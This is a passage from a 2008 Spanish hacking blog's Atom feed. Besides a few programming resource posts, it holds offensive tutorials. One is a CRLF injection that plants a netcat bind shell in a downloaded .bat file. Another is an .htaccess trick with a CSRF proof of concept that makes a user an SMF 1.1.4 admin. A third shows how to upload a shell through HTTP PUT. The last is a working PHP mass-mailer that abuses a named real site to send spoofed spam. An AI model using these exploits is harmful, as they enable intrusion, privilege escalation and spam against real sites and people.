header(”Content-Disposition: attachment; filename=”.&lt;font color=blue&gt;$_REQUEST[”file”]&lt;/font&gt;);&lt;/font&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  Existen una serie de caracteres que HTTP utiliza como señales para dar saltos de línea y demás, estos caracteres son CR (carriage return) y LF (Line Feed), cuya representación es &lt;font color=red&gt;&lt;b&gt;0x0D&lt;/b&gt;&lt;/font&gt; y &lt;font color=red&gt;&lt;b&gt;0x0A&lt;/b&gt;&lt;/font&gt;.&lt;br /&gt;&lt;br /&gt;  Volviendo al ejemplo anterior en PHP, tendríamos una web para descargarnos archivos tipo www.miweb.com/descargas.php?file= , donde en file= pondríamos el archivo a descargar, véase por ejemplo:&lt;br /&gt;&lt;br /&gt;www.miweb.com/descargas.php?file=programa.bat&lt;br /&gt;&lt;br /&gt;  Ahora bien, si a esa URL, le añadimos dos saltos de línea, el texto que haya acontinuación se transferirá como si fuese el propio código fuente del archivo. Por ejemplo, si añadiésemos %0d%0a%0d%0anc -l -p 57 -e cmd  , se produciría el doble salto de linea, haciendo que nuestro archivo programa.bat contenga esas líneas, que lo que hacen es colocar una shell en el puerto 57.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  Como podeis ver, esta técnica puede ser ampliable en su uso, y buscarse otros código s a inyectar en otras extensiones... todo lo que hay que tener es imaginación.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2806641995089653786-1698618694990774357?l=0verl0ad.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0verl0ad.blogspot.com/feeds/1698618694990774357/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2806641995089653786&amp;postID=1698618694990774357' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/1698618694990774357'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/1698618694990774357'/><link rel='alternate' type='text/html' href='http://0verl0ad.blogspot.com/2008/09/crlf-injections-infectando-descargas.html' title='CRLF Injections: Infectando descargas'/><author><name>The X-C3LL</name><uri>http://www.blogger.com/profile/03278676556306484665</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://1.bp.blogspot.com/_uXtiiCW6OCQ/SeO-V5l87xI/AAAAAAAAACM/Dj4wqobzFxE/S220/rorschach.sized.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2806641995089653786.post-755961435595146801</id><published>2008-08-31T15:31:00.001+02:00</published><updated>2008-09-06T23:32:25.759+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Visual Studio .NET'/><title type='text'>Posters de Visual Studio 2008</title><content type='html'>Todos sabemos que los atajos del teclado son realmente útiles y nuestra productividad aumenta si los utilizamos. Visual Studio 2008 posee un atajo para casi todas las tareas, por lo que puede llegar a ser muy difícil recordar todos. Aquí os dejo unos posters que recogen todos y ademas son bien chulos. También uno del FrameWork 3.5 con los tipos y Namespaces más utilizados. Unos posters de lujo:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.microsoft.com/downloads/info.aspx?na=90&amp;amp;p=&amp;amp;SrcDisplayLang=en&amp;amp;SrcCategoryId=&amp;amp;SrcFamilyId=255b8cf1-f6bd-4b55-bb42-dd1a69315833&amp;amp;u=http%3a%2f%2fdownload.microsoft.com%2fdownload%2f9%2fb%2fb%2f9bb59db1-7a03-4db2-bd1f-67d05455b6b5%2fVisual_Basic_2008_Poster.zip"&gt;Póster Visual Basic 2008&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.microsoft.com/downloads/info.aspx?na=90&amp;amp;p=&amp;amp;SrcDisplayLang=en&amp;amp;SrcCategoryId=&amp;amp;SrcFamilyId=e5f902a8-5bb5-4cc6-907e-472809749973&amp;amp;u=http%3a%2f%2fdownload.microsoft.com%2fdownload%2f9%2fc%2f6%2f9c6cde0c-6227-4818-8b43-351f78d7391d%2fVisual_C_Sharp_2008+Poster.zip"&gt;&lt;br /&gt;Póster Visual C# 2008&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.microsoft.com/downloads/info.aspx?na=90&amp;amp;p=&amp;amp;SrcDisplayLang=en&amp;amp;SrcCategoryId=&amp;amp;SrcFamilyId=4411bbfc-0e3c-42b3-bd05-af1d292c986f&amp;amp;u=http%3a%2f%2fdownload.microsoft.com%2fdownload%2f7%2f2%2f5%2f725ffa78-a24b-407b-8a67-3eba00d193c7%2fVisual_C%2b%2b_+2008_Poster.zip"&gt;Póster Visual C++ 2008&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://download.microsoft.com/download/4/a/3/4a3c7c55-84ab-4588-84a4-f96424a7d82d/NET_35_Namespaces_Poster_JAN08.pdfP"&gt;Póster Framework 3.5&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Salu2&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2806641995089653786-755961435595146801?l=0verl0ad.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0verl0ad.blogspot.com/feeds/755961435595146801/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2806641995089653786&amp;postID=755961435595146801' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/755961435595146801'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/755961435595146801'/><link rel='alternate' type='text/html' href='http://0verl0ad.blogspot.com/2008/08/posters-de-visual-studio-2008.html' title='Posters de Visual Studio 2008'/><author><name>Mace Windu</name><uri>http://www.blogger.com/profile/16629780086210916617</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://4.bp.blogspot.com/_1FbP8V2e4r8/SLrLfbwybaI/AAAAAAAAAA8/TbziVm3IC6w/s1600-R/winduwebcopiaip0.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2806641995089653786.post-8722479746800961750</id><published>2008-08-28T16:45:00.003+02:00</published><updated>2008-11-28T17:57:36.569+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='WPF'/><title type='text'>WPF Application Paper</title><content type='html'>Este documento, nos muestra, desde un nivel básico, paso a paso y mediante ejemplos, como crear aplicaciones WPF.&lt;br /&gt;Si no te quieres quedar atrás en lo que a programación respecta, ya sabes cual debe ser tu próxima lectura.&lt;br /&gt;&lt;br /&gt;&lt;hr /&gt;&lt;div align="center"&gt;&lt;img src="http://xs233.xs.to/xs233/08485/wpf305.png" alt="" border="0" /&gt;&lt;/div&gt;&lt;div align="center"&gt;&lt;a href="http://rapidshare.com/files/163394953/WPF_Unleashed__2007_.pdf" target="_blank"&gt;&lt;span style="color: orange;"&gt;&lt;span style="font-size: 20pt; line-height: 1.3em;"&gt;&lt;b&gt;WPF Unleashed 2007&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;hr /&gt;&lt;br /&gt;Salu2&lt;br /&gt;&lt;br /&gt;PD: Como toda buena información, está en inglés, y mucho me temo, poca encontrarás en español, y más que sea tan completa.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2806641995089653786-8722479746800961750?l=0verl0ad.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0verl0ad.blogspot.com/feeds/8722479746800961750/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2806641995089653786&amp;postID=8722479746800961750' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/8722479746800961750'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/8722479746800961750'/><link rel='alternate' type='text/html' href='http://0verl0ad.blogspot.com/2008/08/wtf-application-paper.html' title='WPF Application Paper'/><author><name>Mace Windu</name><uri>http://www.blogger.com/profile/16629780086210916617</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://4.bp.blogspot.com/_1FbP8V2e4r8/SLrLfbwybaI/AAAAAAAAAA8/TbziVm3IC6w/s1600-R/winduwebcopiaip0.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2806641995089653786.post-6639333544088276179</id><published>2008-08-26T15:48:00.000+02:00</published><updated>2008-08-26T19:22:19.098+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Técnicas'/><category scheme='http://www.blogger.com/atom/ns#' term='CSRF/XSRF'/><title type='text'>CSRF: Explotando con .htaccess</title><content type='html'>&lt;style&gt;fieldset{ color: lime; cursor: crosshair; border: dotted 1px lime;}&lt;/style&gt;Saludos!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  Muchas veces no sabemos cómo ingeniárnosla para poder explotar un CSRF, puesto que hasta hoy esto ha requerido de la pericia y habilidad social (lo que denominados ingenieria social) del atacante para conseguir que nuestra víctima viera una web, o clicase sobre un link... Gracias a una vulnerabilidad "presuntamente" descubierta por WHK esto se ha terminado (digo presuntamente, porque yo ya había leido hace tiempo algo relacionado con esto, pero nunca vi esto exactamente, por eso no puedo decir si realmente ha sido él o no el descubridor, yo en todo caso esta información la he sacado de un post suyo en elhacker.net).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  La vulneravilidad está presente en todos aquellos sistemas o aplicaciones webs que permitan el uso de tags para la visualización de imágenes. Hoy en día creo que el 100% de los foros podrían ser vulnerables debido a que todos usan [img][/img].&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; Para explotar esta vulnerabilidad es necesario crear un .htaccess en un directorio, y agregarle este contenido:&lt;br /&gt;&lt;br /&gt;&lt;fieldset&gt;&amp;lt;Files *.jpg&gt; &lt;br /&gt;ForceType application/x-httpd-php &lt;br /&gt;&amp;lt;/Files&gt;&lt;br /&gt;&lt;/fieldset&gt;&lt;br /&gt;Estas líneas lo que haran será que se interpreten los archivos .jpg como si se tratasen de aplicaciones, lo que nos permitiría meter código PHP dentro del source de un .jpg y que éste se ejecute cuando se visualice en otra página.&lt;br /&gt;&lt;br /&gt;   Aqui les dejo un exploit para usar en las firmas de los foros SMF 1.1.4 y ser admins... Tendreis que modificarle un par de cosillas (anti-Kiddies)&lt;br /&gt;&lt;fieldset&gt;&lt;br /&gt;&amp;lt;?php&lt;br /&gt;/* &lt;br /&gt; SMF 1.1.4 ADD USER IN A GROUP VULNERABILITY&lt;br /&gt; PoC codded by Vengador de las Sombras&lt;br /&gt; Dork: "Powered by SMF 1.1.4"&lt;br /&gt; ============================================&lt;br /&gt;          Cross Site Request Forguery&lt;br /&gt; ============================================&lt;br /&gt; Gr3tZ to: Lëssiëm, WaesWaes, Plaga, Lutscher&lt;br /&gt;           Phonix, Fr34k, Keynet, CHR0N05,&lt;br /&gt;           Mycrox &amp; #RE &amp; ArgeniversoHack&lt;br /&gt;                    Members&lt;br /&gt;=============================================&lt;br /&gt;                          (c)F.o.S. TeaM 2008&lt;br /&gt;*&lt;br /&gt;$foro = $_GET['foro'];&lt;br /&gt;if(isset($_GET['foro'])){&lt;br /&gt;header("Location: ".$foro./indez.php?action=membergroups;sa=members;group=1;realName=[OurNickName];toAdd=usertoadd&amp;add=Add+Members&amp;sc=[Admin ID]"): &lt;br /&gt;}&lt;br /&gt;*/&lt;br /&gt;?&gt;&lt;br /&gt;&lt;/fieldset&gt;&lt;br /&gt;&lt;br /&gt;Ya sabeis como utilizarlo :D&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2806641995089653786-6639333544088276179?l=0verl0ad.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0verl0ad.blogspot.com/feeds/6639333544088276179/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2806641995089653786&amp;postID=6639333544088276179' title='4 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/6639333544088276179'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/6639333544088276179'/><link rel='alternate' type='text/html' href='http://0verl0ad.blogspot.com/2008/08/csrf-explotando-con-htaccess.html' title='CSRF: Explotando con .htaccess'/><author><name>The X-C3LL</name><uri>http://www.blogger.com/profile/03278676556306484665</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://1.bp.blogspot.com/_uXtiiCW6OCQ/SeO-V5l87xI/AAAAAAAAACM/Dj4wqobzFxE/S220/rorschach.sized.jpg'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2806641995089653786.post-8523778076279249556</id><published>2008-08-25T16:57:00.000+02:00</published><updated>2008-08-25T17:42:39.439+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Técnicas'/><category scheme='http://www.blogger.com/atom/ns#' term='HTTP'/><title type='text'>HTTP METHODS: Subiendo Shell mediante PUT</title><content type='html'>&lt;style&gt;fieldset { color: lime; border: 1px lime dotted; } &lt;/style&gt;   Saludos!&lt;br&gt;&lt;br /&gt;&lt;br /&gt;  El caso es que ayer estaba hablando con RGB90, cuando salió este tema de conversación, el de defacear una web a través del método HTTP PUT. Antes que nada necesito hacer una pequeña introducción para que comprendais cómo funcionan los Métodos HTTP, veremos algunos métodos y posteriormente pasare a la explicación de como usar PUT (Si el servidor lo tiene Allowed) para modificar un archivo, o para subir una shell.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  El protocolo HTTP tiene una serie de métodos que permiten interaccionar al cliente con un servidor (generalmente en el que se aloja una web). Las relaciones entre cliente y servidor, se lleva a cabo a través de cabeceras, las que manda el cliente las denominaremos peticiones. El servidor manda otras cabeceras en respuesta a esas peticiones que el cliente mandó.&lt;br /&gt;&lt;br /&gt;  Existen varios tipos de cabeceras, entre las que destacan OPTIONS, HEAD, PUT, DELETE, MOVE, COPY, POST, GET... Estoy más seguro que estaris más familiarizados con los métodos POST y GET, sobre todo los que sepan PHP.&lt;br /&gt;&lt;br /&gt;  Para poder visualizar una web a través de un navegador, el navegador a tenido primero que mandar una cabecera con un metodo tipo GET (este tipo de metodo se encarga de mostrar el código fuente de un archivo, el cual posteriormente el navegador interpretará) a la cual el servidor ha respondido mandandole una cabecera con algunos datos, y que además contiene el source del archivo al que le hemos hecho GET.&lt;br /&gt;&lt;br /&gt;Quizás os haya liado un poco con tanta palabrería, así que os lo explico rápidamente mostrando un ejemplo:&lt;br /&gt;&lt;br /&gt;-Navegador manda una cabecera:&lt;br /&gt;&lt;fieldset&gt;&lt;br /&gt;GET /index.php HTTP/1.1&lt;br /&gt;Host: hostfalso.com&lt;br /&gt;&lt;br /&gt;&lt;/fieldset&gt;&lt;br /&gt;&lt;br /&gt;-Servidor le contesta:&lt;br /&gt;&lt;fieldset&gt;&lt;br /&gt;HTTP/1.x 200 OK&lt;br /&gt;Date: Mon, 25 Aug 2008 14:25:39 GMT&lt;br /&gt;Server: Apache&lt;br /&gt;Conection: Keep-Alive&lt;br /&gt;Keep-Alive: Timeout=2, max=125&lt;br /&gt;&lt;br /&gt;&amp;lt;h1&gt;Hello World&amp;lt;/h1&gt;&lt;br /&gt;&lt;/fieldset&gt;&lt;br /&gt;&lt;br /&gt;Como podeis observar, la estructúra básica de una cabecera es:&lt;br /&gt;[Metodo] [Archivo] HTTP/ &lt;br /&gt;Host: El host&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Y debajo otros campos, como pueden ser el tiempo de vida, la cookie, el user-agent, etc...&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  Podemos usar add ons como Tamper Data, Live HTTP Header, o Achilles para poder sniffear estas cabeceras y poder modificarlas posteriormente. Nosotros vamos a servirnos de Live HTTP Header (para FireFox) para modificar las peticiones y así usar otros métodos...&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;   Ahora retomemos aquello de lo que empecemos a hablar, los métodos HTTP. Si recordais, nombré a OPTIONS. Este método informa sobre los metodos que el servidor tiene Allowed (permitidos). Lo normal es que tengan muy restringido esto... Puesto como ya le enseñe a RGB90 en dos Webs, que si no se tiene cuidado podemos defacear perfectamente, o borrar archivos...&lt;br /&gt;&lt;br /&gt;  Bueno, como iba diciendo, si sniffeamos una cabecera con Live HTTP Headers, y le damos a REPETIR y cambiamos GET por OPTIONS, volvemos a dar a repetir... Y obtendremos una nueva respuesta por parte del servidor, en la cual aparecerá más data, y la parte que nos interesa los métodos permitidos.&lt;br /&gt;&lt;br /&gt;Éstos aparecen en una línea que comienza con Allow: [Metodos permitidos]. En el caso de que tuviesen permito el método PUT, podríamos subir una shell...&lt;br /&gt;&lt;br /&gt; Ahora hablemos un poco sobre este método... El método PUT es lo contrario de GET. GET, por su parte lo que hace es leer el source del archivo al que le hacemos la petición, en cambio, PUT lo que hace es sobreescribir sobre el código fuente del archivo. Para usar PUT simplemente devemos de mandar una cabecera así:&lt;br /&gt;&lt;fieldset&gt;&lt;br /&gt;PUT /archivo.php HTTP/1.1&lt;br /&gt;Host: Ficticio.com&lt;br /&gt;&lt;br /&gt;AQUI EL CODIGO FUENTE&lt;br /&gt;&lt;/fieldset&gt;&lt;br /&gt;&lt;br /&gt;Si el archivo al que le hacemos PUT existe, lo que ocurre es que se sobreescribe nuestro código fuente sobre el que ya había, en cambio si no existe el archivo... lo crea. Por lo tanto, de esta forma podemos subir una shell a un servidor que tenga permitido el método PUT.&lt;br /&gt;&lt;br /&gt; Baste decir que si el webmaster mira sus logs, podrá ver perfectamente que hemos recurrido a esta técnica, puesto que canta mucho XD.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Podeis codearos algún exploit, yo anoche estuve codeando uno para este tutorial, se lo pasé a Seth para que lo betatesteara, me mandó los errores y los corregí, ahora el problema es de diseño, es decir funciona sin errores, pero me salta como que PUT está allowed siempre -.-, dentro de un rato lo revisaré haber si consigo arreglar eso y lo publico.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2806641995089653786-8523778076279249556?l=0verl0ad.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0verl0ad.blogspot.com/feeds/8523778076279249556/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2806641995089653786&amp;postID=8523778076279249556' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/8523778076279249556'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/8523778076279249556'/><link rel='alternate' type='text/html' href='http://0verl0ad.blogspot.com/2008/08/http-methods-subiendo-shell-mediante.html' title='HTTP METHODS: Subiendo Shell mediante PUT'/><author><name>The X-C3LL</name><uri>http://www.blogger.com/profile/03278676556306484665</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://1.bp.blogspot.com/_uXtiiCW6OCQ/SeO-V5l87xI/AAAAAAAAACM/Dj4wqobzFxE/S220/rorschach.sized.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2806641995089653786.post-2358553122054189018</id><published>2008-08-24T11:32:00.000+02:00</published><updated>2008-08-24T21:56:51.490+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Técnicas'/><title type='text'>Form Tampering: Modificando Formularios</title><content type='html'>&lt;style&gt;fieldset { color: lime; border: lime 1px dotted; background: black; font-size: 3px}&lt;/style&gt;&lt;br /&gt;&lt;br /&gt; Saludos!&lt;br /&gt;&lt;br /&gt;  Hoy vengo a explcarles una técnica de las que realmente poco se utiliza por su escasez, y de utilizarse es para explotar alguna nimiedad, del estilo de bypassear un filtro de maxlenght en un input. En ningún caso podemos considerar al Form Tampering como una vulnerabilidad, puesto que no se explota nada, hay que entenderlo más bien como una técnica.&lt;br /&gt;&lt;br /&gt;  Esta técnica consiste en modificar el contenido de un formulario antes de ser enviado. ¿Qué importancia tiene esto? Pues en realidad sólo sirve para poder modificar contenido antes de que sea procesado. La gracia de esta técnica suele ser cuando encontramos en un formulario campos "hidden" cuyo contenido pueda tener mucha relevancia, como por ejemplo un precio (véase el video de Login-RooT acerca de este tema), o como en el caso de perfil.com, podemos construirnos un mailer (vulnerabilidad descubierta por r0dr1g0), o muchas otras cosas, dependiendo de qué campos encontremos.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  Seguro que todos vosotros habeis recurrido a modificar el código fuente de un formulario para poder explotar un XSS, el cual no podíais hacer porque había un input con un maxlength que limitaba el número de caracteres que se podían poner. También es común esto en el caso de las SQL Injections dentro de buscadores y que limitan el número de caracteres. Pues bien, esto ya es Form Tampering, ya que lo modificamos "antes" de enviar la petición. Por el contrario, si lo que hacemos es modificar la petición a través de algún sniffer de cabeceras (como Live HTTP Headers, Tamper Data, Achilles, etc) no se trataría de Form Tampering, puesto que lo que hacemos no es modificar el formulario.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  Para poder modificar los campos de los formularios podemos valernos de diversas herramientas, ya sean modificar el código fuente desde el propio navegador, o usar ADD ONS que nos faciliten el trabajo, como el Web Developer Tool Bar. El uso de este add on es sencillo (pueden buscarlo en la web oficial de FireFox) simplemente debemos de posicionarnos en la web que queremos ver el contenido de sus formularios, vamos a la Toolbar que se qeuda en el navegador y seleccionamos la casilla Forms (la cuarta desde la izquierda). Allí marcamos "Display Form Details" y se nos motrarán todos los campos del formulario, permitiendonos modificar los campos "hidden".&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  Si bien al inicio de este artículo mencioné la vulnerabilidad de Perfil.com que permitía construir un mailer, ahora será cuando ejemplifiquemos cómo usar Form Tampering para explotarla.&lt;br /&gt;&lt;br /&gt; Si vamos a esta web ( http://www.perfil.com/contactenos.html ) y mostramos los formularios ocultos... ¿Qué encontramos? &lt;span style="font-weight:bold;"&gt;&amp;lt;input name="to"&gt;&lt;/span&gt; Fijaros que contiene! es el E-mail de Perfil.com Si lo modificamos y añadimos un correo nuestro, y ponemos un nombre de correo inexistente, vereis como nos llega un correo Inbox a nuestra bandeja de entrada desde el correo inexistente :D. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  Ahora debemos de analizar porqué el webmaster a dejado esta falla tan grande. Fijaros en la extensión de la página de envío de mails, se trata de .html, luego es una página estática. En las páginas estáticas no existe la posibilidad de crear variables que no se vean con la direccion del correo (como pasa en PHP o ASP), luego el webmaster debe de incluirlo dentro del formulario... y para "ocultarlo" lo ponen como hidden...   &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Bueno espero que les haya sido de utilidad este paper sobre Form Tampering, para culminar les dejo aquí un exploit para el mailer codeado por Keynet (hay que subirlo a un HackedHost que permita las funciones de Fsockopen:&lt;fieldset&gt;&lt;font size=1&gt;&lt;br /&gt;&amp;lt;title&gt;Mailer ilimitado (#RE) - by KeyNet&amp;lt;/title&gt;&lt;br /&gt;&amp;lt;style&gt;&lt;br /&gt;*{&lt;br /&gt;background-color:#000000;&lt;br /&gt;color:#CCCCCC;&lt;br /&gt;font-family:Verdana;&lt;br /&gt;font-size:10px;&lt;br /&gt;border-color:white;&lt;br /&gt;}&lt;br /&gt;#boton{&lt;br /&gt;background:none;&lt;br /&gt;border:solid;&lt;br /&gt;border-width:1px;&lt;br /&gt;}&lt;br /&gt;#no&lt;br /&gt;{&lt;br /&gt;color:red;&lt;br /&gt;}&lt;br /&gt;#yes&lt;br /&gt;{&lt;br /&gt;color:orange;&lt;br /&gt;}&lt;br /&gt;a,a:link,a:visited,a:active&lt;br /&gt;{&lt;br /&gt;color:#ffffff;&lt;br /&gt;text-decoration:none;&lt;br /&gt;}&lt;br /&gt;a:hover&lt;br /&gt;{&lt;br /&gt;color:#CCCCCC;&lt;br /&gt;}&lt;br /&gt;&amp;lt;/style&gt;&lt;br /&gt;&amp;lt;FORM id="Form1" name="EnviarForm" method="post" action=""&gt;&lt;br /&gt;&amp;lt;table&gt;&lt;br /&gt;&amp;lt;tr&gt;&lt;br /&gt;&amp;lt;td&gt;Asunto: &amp;lt;/td&gt;&lt;br /&gt;&amp;lt;td&gt;&amp;lt;input type="text" name="nombreFrom" value="&amp;lt;?php if($nombreFrom!=""){echo $nombreFrom;}else{echo 'el asunto de siempre..';}?&gt;" size="40"&gt;&amp;lt;/td&gt;&lt;br /&gt;&amp;lt;tr&gt;&lt;br /&gt;&amp;lt;td&gt;mail emisor: &amp;lt;/td&gt;&lt;br /&gt;&amp;lt;td&gt;&amp;lt;input type="text" name="from" value="&amp;lt;?php if($from!=""){echo $from;}else{echo 'cualquiera@gmail.com';}?&gt;" size="40"&gt;&amp;lt;/td&gt;&lt;br /&gt;&amp;lt;/tr&gt;&lt;br /&gt;&amp;lt;/table&gt;&lt;br /&gt;&amp;lt;table&gt;&lt;br /&gt;&amp;lt;tr&gt;&lt;br /&gt;&amp;lt;td&gt;&amp;lt;textarea name="comentario" rows="12" cols="50"&gt;&amp;lt;?php if($comentario!=""){echo $comentario;}else{echo 'visita www.remoteexecution.org';}?&gt;&amp;lt;/textarea&gt;&amp;lt;/td&gt;&lt;br /&gt;&amp;lt;td&gt;&amp;lt;textarea name="to" rows="12" cols="50"&gt;&amp;lt;?php if($to!=""){echo $to;}else{echo 'spammeame@gmail.com'."\n".'amitambienarre@hotmail.com';}?&gt;&amp;lt;/textarea&gt;&amp;lt;/td&gt;&lt;br /&gt;&amp;lt;/tr&gt;&lt;br /&gt;&amp;lt;/table&gt;&lt;br /&gt;&amp;lt;input type="submit" value="ENVIAR" name="Submit"/&gt;&lt;br /&gt;&amp;lt;/form&gt;&lt;br /&gt;&amp;lt;?php&lt;br /&gt;@set_time_limit(0);&lt;br /&gt;$nombreFrom = $_POST['nombreFrom'];&lt;br /&gt;$from = $_POST['from'];&lt;br /&gt;$comentario = $_POST['comentario'];&lt;br /&gt;$Submit = $_POST['Submit'];&lt;br /&gt;$to = $_POST['to'];&lt;br /&gt;$count = 0;&lt;br /&gt;if(isset($Submit))&lt;br /&gt;{&lt;br /&gt;$mail_clean = explode("\n",$to);&lt;br /&gt;$count_mails = count($mail_clean);&lt;br /&gt;for($for1=0;$for1&lt;$count_mails;$for1++)&lt;br /&gt;{&lt;br /&gt;$mailto = trim($mail_clean[$for1]);&lt;br /&gt;if(strpos($mailto,'@'))&lt;br /&gt;{&lt;br /&gt;$clean_name = explode('@',$mailto);&lt;br /&gt;$nombreto = $clean_name[0];&lt;br /&gt;$host = 'www.perfil.com';&lt;br /&gt;$path2crack = '/system/modules/com.tfsla.perfil.diario/elements/comentarios_send.jsp'&lt;br /&gt;;&lt;br /&gt;$log_string = 'to='.urlencode($mailto).'&amp;nombreTo='.urlencode($nombreto).'&amp;nombreFrom='.urlencode&lt;br /&gt;($nombreFrom).'&amp;from='.urlencode($from).'&amp;comentario='.urlencode($comentario).'&lt;br /&gt;&amp;Submit=ENVIAR';&lt;br /&gt;$count_log_string = strlen($log_string);&lt;br /&gt;$header = "POST ".$path2crack." HTTP/1.1\r\n";&lt;br /&gt;$header .= "Host: ".$host."\r\n";&lt;br /&gt;$header .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16\r\n";&lt;br /&gt;$header .= "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/&lt;br /&gt;png,image/jpg,image/gif,*/*;q=0.5\r\n";&lt;br /&gt;$header .= "Accept-Language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3\r\n";&lt;br /&gt;$header .= "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n";&lt;br /&gt;$header .= "Keep-Alive: 300\r\n";&lt;br /&gt;$header .= "Proxy-Connection: keep-alive\r\n";&lt;br /&gt;$header .= "Referer: http://".$host.$path2crack."\r\n";&lt;br /&gt;$header .= "Content-Type: application/x-www-form-urlencoded\r\n";&lt;br /&gt;$header .= "Content-Length: ".$count_log_string."\r\n\r\n";&lt;br /&gt;$header .= $log_string."\r\n\r\n";&lt;br /&gt;$socket = fsockopen($host,80);&lt;br /&gt;fwrite($socket,$header);&lt;br /&gt;$count++;&lt;br /&gt;printf("&amp;lt;li&gt;%s SPAMMED (%d) !!&amp;lt;/li&gt;",htmlentities($mailto),$count);&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;print '&amp;lt;script&gt;alert("'.$count.' mails spammed !!")&amp;lt;/script&gt;';&lt;br /&gt;}&lt;br /&gt;?&gt;&lt;/font&gt;&lt;/fieldset&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2806641995089653786-2358553122054189018?l=0verl0ad.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0verl0ad.blogspot.com/feeds/2358553122054189018/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2806641995089653786&amp;postID=2358553122054189018' title='0 comentarios'/><link rel='edit' type='application/atom+xml' 